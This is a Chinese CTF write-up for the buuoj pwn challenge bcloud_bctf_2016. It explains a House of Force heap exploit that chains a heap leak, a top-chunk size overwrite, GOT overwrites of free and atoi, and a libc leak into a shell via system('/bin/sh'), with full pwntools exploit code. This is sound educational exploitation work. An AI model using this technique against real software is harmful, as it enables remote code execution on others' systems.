找赵师傅题目复现:https://buuoj.cn/challenges#bcloud_bctf_2016
一道考察house_of_force的题目,思路如下:
leak heap
HOF 分配chunk到bss上记录chunk的大小和指针位置,这个时候我们可以任意写
修改free_got 到 puts_plt, delete leak libc
修改atoi_got 到 system,getshell
最开始拿到题目,找漏洞,发现如下:
原因在,先read了0x40,然后temp指针的地位被覆盖为\x00,然后给temp赋值,截断被覆盖掉了,然后strcpy的时候,由于没有了截断,就leak出来了temp的内容。
这个洞在后面还有
这个位置上,如出一辙的,出现了溢出,更为严重的是,org是与top_chunk紧邻的chunk,org会溢出到top_chunk的size位置,可以将它覆盖为一个很大的值,这样。我们就可以满足HOF的条件。
~~~python from pwn import * from p4f import core context.log_level = 'debug' p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True) def menu(idx): p.ru("option--->>\n") p.sl(str(idx)) def add(size,content): menu(1) p.ru("Input the length of the note content:\n") p.sl(str(size)) p.ru("Input the content:\n") p.sl(content) def edit(idx,content): menu(3) p.ru("Input the id:\n") p.sl(str(idx)) p.ru("Input the new content:\n") p.sl(content) def delete(idx): menu(4) p.ru("Input the id:\n") p.sl(str(idx)) def z(): core.Log("heap = ", heap) core.debug(p) elf = ELF('./bcloud_bctf_2016') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] ~~~
~~~python p.ru("Input your name:\n") p.s('\xff'*0x40) p.rn(0x44) heap = u32(p.rn(4)) ~~~
~~~python p.ru("Org:\n") p.s('\xff'*0x40) p.ru("Host:\n") p.s('\xff'*0x40) topchunk_addr = heap + 0xd0 target_addr = 0x804B0a0 true_size = (target_addr - topchunk_addr) - 0x10 - 0x4 add(true_size,'') ~~~ 计算size的方法在ctfwiki中HOF的章节:https://wiki.x10sec.org/pwn/heap/house_of_force/
~~~python add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got)) edit(2,p32(puts_plt)) delete(1) atoi = u32(p.rn(4)) obj = p.leakLibc("atoi",atoi) system_addr = p.libcbase + obj.dump("system") ~~~
~~~python edit(0,p32(system_addr)) p.sl("/bin/sh") p.ia() ~~~
~~~python from pwn import * from p4f import core context.log_level = 'debug' p = core.Pwn("./bcloud_bctf_2016","node3.buuoj.cn",26009,True) def menu(idx): p.ru("option--->>\n") p.sl(str(idx)) def add(size,content): menu(1) p.ru("Input the length of the note content:\n") p.sl(str(size)) p.ru("Input the content:\n") p.sl(content) def edit(idx,content): menu(3) p.ru("Input the id:\n") p.sl(str(idx)) p.ru("Input the new content:\n") p.sl(content) def delete(idx): menu(4) p.ru("Input the id:\n") p.sl(str(idx)) def z(): core.Log("heap = ", heap) core.debug(p) elf = ELF('./bcloud_bctf_2016') atoi_got = elf.got['atoi'] free_got = elf.got['free'] puts_plt = elf.plt['puts'] p.ru("Input your name:\n") p.s('\xff'*0x40) p.rn(0x44) heap = u32(p.rn(4)) p.ru("Org:\n") p.s('\xff'*0x40) p.ru("Host:\n") p.s('\xff'*0x40) topchunk_addr = heap + 0xd0 target_addr = 0x804B0a0 true_size = (target_addr - topchunk_addr) - 0x10 - 0x4 add(true_size,'') add(0x200,'a'*0x80 + p32(atoi_got)+p32(atoi_got)+p32(free_got)) edit(2,p32(puts_plt)) delete(1) atoi = u32(p.rn(4)) obj = p.leakLibc("atoi",atoi) system_addr = p.libcbase + obj.dump("system") z() edit(0,p32(system_addr)) p.sl("/bin/sh") p.ia() ~~~
- 用户输入在leak的内容前 - 如果没有截断,可以直接输入满,然后就会leak出来之后的内容 - 如果read函数存在截断: - 检测'\n',如果检测到'\n',则替换成'\x00',这种的话,只要在输入范围内不出现'\n'就是没有截断 - 不讲道理,到句末截断,不管最后是啥。这种应该是leak不出来的 - 第三种,就是这道题的,存在一个off-by-null的截断,如果之后覆盖了截断,就可以leak。 - 用户输入在leak的内容后 应该是没有什么问题的。这道题,如果先声明指针,后声明输入的buf,则不存在leak。
- 这一种leak - 可以修改下一个chunk的pre_inuse,构造unlink或者是其他extend
完
2020安全开发者峰会(2020 SDC)议题征集 中国.北京 7月!
最后于 1小时前 被wx_yz编辑 ,原因: 没写题目